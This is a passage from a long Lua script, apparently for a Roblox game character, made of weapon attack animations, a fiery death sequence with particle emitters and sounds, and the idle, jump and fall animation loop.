  4360. wait()
  4361. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4362. end
  4363. Trail:remove()
  4364. end)()
  4365. coroutine.wrap(function()
  4366. for i = 1,10 do
  4367. wait()
  4368. Trail.Transparency = Trail.Transparency +0.1
  4369. end end)()end end)()
  4370. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4371. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4372. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4373. for i=0,1,0.08 do
  4374. swait()
  4375. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4376. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4377. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4378. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  4379. Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  4380. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  4381. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  4382. end
  4383. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4384. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4385. for i=0,1,0.08 do
  4386. swait()
  4387. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4388. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4389. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4390. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  4391. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  4392. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  4393. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  4394. end
  4395. --dmgstop()
  4396. attack=false
  4397. con1:disconnect()
  4398. con2:disconnect()
  4399. if TrailDeb == true then
  4400. TrailDeb = false
  4401. end
  4402. end
  4403.  
  4404. function Hai()
  4405. attack=true
  4406. Humanoid.WalkSpeed=0
  4407. so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  4408. for i=0,1,0.1 do
  4409. swait()
  4410. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4411. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4412. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4413. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4414. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4415. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4416. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4417. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4418. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4419. end
  4420. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4421. for i=0,1,0.1 do
  4422. swait()
  4423. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4424. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4425. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4426. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4427. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4428. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4429. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4430. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  4431. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4432. end
  4433. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4434. for i=0,1,0.1 do
  4435. swait()
  4436. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4437. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4438. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4439. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4440. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4441. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4442. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4443. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4444. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4445.  
  4446. end
  4447. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  4448. for i=0,1,0.1 do
  4449. swait()
  4450. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4451. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4452. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4453. Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  4454. Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4455. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4456. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4457. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  4458. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4459. end
  4460. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4461. for i=0,1,0.1 do
  4462. swait()
  4463. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4464. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4465. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4466. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  4467. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  4468. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4469. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  4470. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  4471. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  4472. end
  4473. --dmgstop()
  4474. Humanoid.WalkSpeed=12
  4475. attack=false
  4476. end
  4477.  
  4478. function Die()
  4479. attack=true
  4480. Footsteps:Stop()
  4481. Footsteps2:Stop()
  4482. local Fire = it("Sound",Character.Torso)
  4483. Fire.SoundId = "rbxassetid://192104941"
  4484. Fire.Looped = true
  4485. Fire.Pitch = 1
  4486. Fire.Volume = 1
  4487. local Fire2 = it("Sound",Handle2)
  4488. Fire2.SoundId = "rbxassetid://192104941"
  4489. Fire2.Looped = true
  4490. Fire2.Pitch = 1
  4491. Fire2.Volume = 1
  4492. local Fire3 = it("Sound",Handle)
  4493. Fire3.SoundId = "rbxassetid://192104941"
  4494. Fire3.Looped = true
  4495. Fire3.Pitch = 1
  4496. Fire3.Volume = 1
  4497. local Fire4 = it("Sound",handle)
  4498. Fire4.SoundId = "rbxassetid://192104941"
  4499. Fire4.Looped = true
  4500. Fire4.Pitch = 1
  4501. Fire4.Volume = 1
  4502. local fire = Instance.new("ParticleEmitter", Character.Torso)
  4503. fire.Lifetime = NumberRange.new(0.5)
  4504. fire.Speed = NumberRange.new(1, 3)
  4505. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4506. fire.Rate = 0
  4507. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4508. fire.LightEmission = 0.6
  4509. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  4510. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4511. local fire2 = Instance.new("ParticleEmitter", Handle)
  4512. fire2.Lifetime = NumberRange.new(0.5)
  4513. fire2.Speed = NumberRange.new(1, 3)
  4514. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4515. fire2.Rate = 0
  4516. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4517. fire2.LightEmission = 0.6
  4518. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  4519. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4520. local fire3 = Instance.new("ParticleEmitter", Handle2)
  4521. fire3.Lifetime = NumberRange.new(0.5)
  4522. fire3.Speed = NumberRange.new(1, 3)
  4523. fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  4524. fire3.Rate = 0
  4525. fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4526. fire3.LightEmission = 0.6
  4527. fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
  4528. fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4529. local fire4 = Instance.new("ParticleEmitter", handle)
  4530. fire4.Lifetime = NumberRange.new(0.5)
  4531. fire4.Speed = NumberRange.new(1, 3)
  4532. fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  4533. fire4.Rate = 0
  4534. fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  4535. fire4.LightEmission = 0.6
  4536. fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
  4537. fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  4538. Humanoid.WalkSpeed = 0
  4539. so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
  4540. so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
  4541. for i=0,1,0.08 do
  4542. swait()
  4543. Torso.Velocity=RootPart.CFrame.lookVector*-30
  4544. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
  4545. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
  4546. handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4547. Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4548. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
  4549. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
  4550. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
  4551. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4552. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
  4553. end
  4554. for i=0,1,0.005 do
  4555. swait()
  4556. light.Range=15-10*i
  4557. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4558. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4559. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4560. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4561. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4562. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4563. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4564. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4565. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4566. end
  4567. light.Range=0
  4568. for i=0,1,0.01 do
  4569. swait()
  4570. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4571. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4572. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4573. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4574. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4575. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4576. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4577. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4578. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4579. end
  4580. so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
  4581. fire.Rate = 1000
  4582. fire2.Rate = 1000
  4583. fire3.Rate = 1000
  4584. fire4.Rate = 1000
  4585. Fire:Play()
  4586. Fire2:Play()
  4587. Fire3:Play()
  4588. Fire4:Play()
  4589. for i=0,1,0.005 do
  4590. swait()
  4591. Character.Head.face.Transparency = 0+1*i
  4592. LeftArm.Transparency=0+1*i
  4593. RightArm.Transparency=0+1*i
  4594. LeftLeg.Transparency=0+1*i
  4595. RightLeg.Transparency=0+1*i
  4596. Head.Transparency=0+1*i
  4597. Torso.Transparency=0+1*i
  4598. for _,v in pairs(Character:children()) do
  4599. if v:IsA("Hat") then
  4600. v.Handle.Transparency = 0+1*i
  4601. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
  4602. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
  4603. handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
  4604. Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
  4605. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  4606. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
  4607. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
  4608. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4609. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4610. end
  4611. end
  4612. --dmgstop()
  4613. end
  4614. Humanoid.Health = 0
  4615. end
  4616.  
  4617. equipanim()
  4618.  
  4619. local sine = 0
  4620. local change = 1
  4621. local val = 0
  4622.  
  4623. local mananum=0
  4624. while true do
  4625. swait()
  4626. sine = sine + change
  4627. local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude
  4628. local velderp=RootPart.Velocity.y
  4629. hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
  4630. if equipped==true or equipped==false then
  4631. if Anim=="Idle" and attack==false then
  4632. idle=idle+1
  4633. else
  4634. idle=0
  4635. end
  4636. if Humanoid.Health <=20 then
  4637. if attack == false then
  4638. Humanoid.Health = math.huge
  4639. Die()
  4640. end
  4641. end
  4642. if idle>=1000 then
  4643. if attack==false then
  4644. --Sheath()
  4645. end
  4646. end
  4647. if RootPart.Velocity.y > 1 and hitfloor==nil then
  4648. Anim="Jump"
  4649. if attack==false then
  4650. Footsteps:Stop()
  4651. Footsteps2:Stop()
  4652. Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
  4653. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4654. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
  4655. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
  4656. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4657. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
  4658. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4659. RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
  4660. LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
  4661. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
  4662. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4663. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4664. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4665. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4666. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4667. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4668. end
  4669. elseif RootPart.Velocity.y < -1 and hitfloor==nil then
  4670. Anim="Fall"
  4671. if attack==false then
  4672. Footsteps:Stop()
  4673. Footsteps2:Stop()
  4674. Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
  4675. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4676. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
  4677. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
  4678. RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4679. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
  4680. LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
  4681. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
  4682. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
  4683. handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
  4684. Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
  4685. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
  4686. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4687. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4688. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4689. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4690. end
  4691. elseif torvel<1 and hitfloor~=nil then
  4692. Anim="Idle"
  4693. change=0.5
  4694. if idle>=1000 then
  4695. if attack==false then
  4696. Footsteps:Stop()
  4697. Footsteps2:Stop()
  4698. Humanoid.WalkSpeed=12
  4699. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
  4700. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
  4701. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4702. RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
  4703. LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
  4704. RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4705. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
  4706. handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
  4707. Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
  4708. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
  4709. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4710. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4711. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4712. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4713. end
  4714. else
  4715. if attack==false then
  4716. Footsteps:Stop()
  4717. Footsteps2:Stop()
  4718. Humanoid.WalkSpeed=12
  4719. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(-10),math.rad(0),math.rad(20)),.1)
  4720. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-5-2*math.cos(sine/5.5)),math.rad(-20)),.1)
  4721. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  4722. RW.C0=clerp(RW.C0,cf(1.35,0.3,-0.5)*angles(math.rad(65),math.rad(0),math.rad(-45)),.5)
  4723. LW.C0=clerp(LW.C0,cf(-1.175, 0.5, 0)*angles(math.rad(125),math.rad(0),math.rad(45)),.5)
  4724. RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
  4725. LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(25)),.3)
